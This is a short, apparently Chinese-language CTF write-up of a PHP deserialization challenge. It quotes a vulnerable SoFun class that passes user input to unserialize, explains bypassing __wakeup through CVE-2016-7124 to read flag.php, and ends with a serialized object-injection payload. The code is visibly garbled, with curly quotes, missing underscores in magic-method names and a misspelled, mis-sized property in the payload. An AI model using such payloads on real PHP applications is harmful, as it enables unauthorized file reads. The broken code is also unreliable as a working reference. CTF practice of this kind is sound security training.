<?php

    class SoFun{ public $file=’index.php’;

    function destruct(){ if(!empty($this->file)){ if(strchr($this-> file,”\“)===false && strchr($this->file, ‘/‘)===false){ echo “
    “; show_source(dirname (
    FILE__).’/‘.$this ->file);} else die(‘Wrong filename.’); } }

    function __wakeup(){ $this-> file=’index.php’; }

    public function __toString(){return ‘’ ;}}

    if (!isset($_GET[‘file’])){ show_source(‘index.php’); } else { $file = $_GET[‘file’]; echo unserialize($file); } ?>

    1. destruct()魔术方法中,show_source(dirname (FILE__).’/‘.$this ->file)这里是解题的关键,在反序列化

      会自动调用destruct方法,可以利用这个将flag.php的内容读出来。
      2. 在
      wakeup()魔术方法中,在反序列化后会自动调用__wakeup方法并将file的值置为index.php。

    2. 我们要想读出flag.php里的内容需要调用destruct方法而绕过wakeup方法


      这里要用到CVE-2016-7124漏洞:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

      payload: O:5:”SoFun”:2:{s:4:”flie”;s:8:”flag.php”}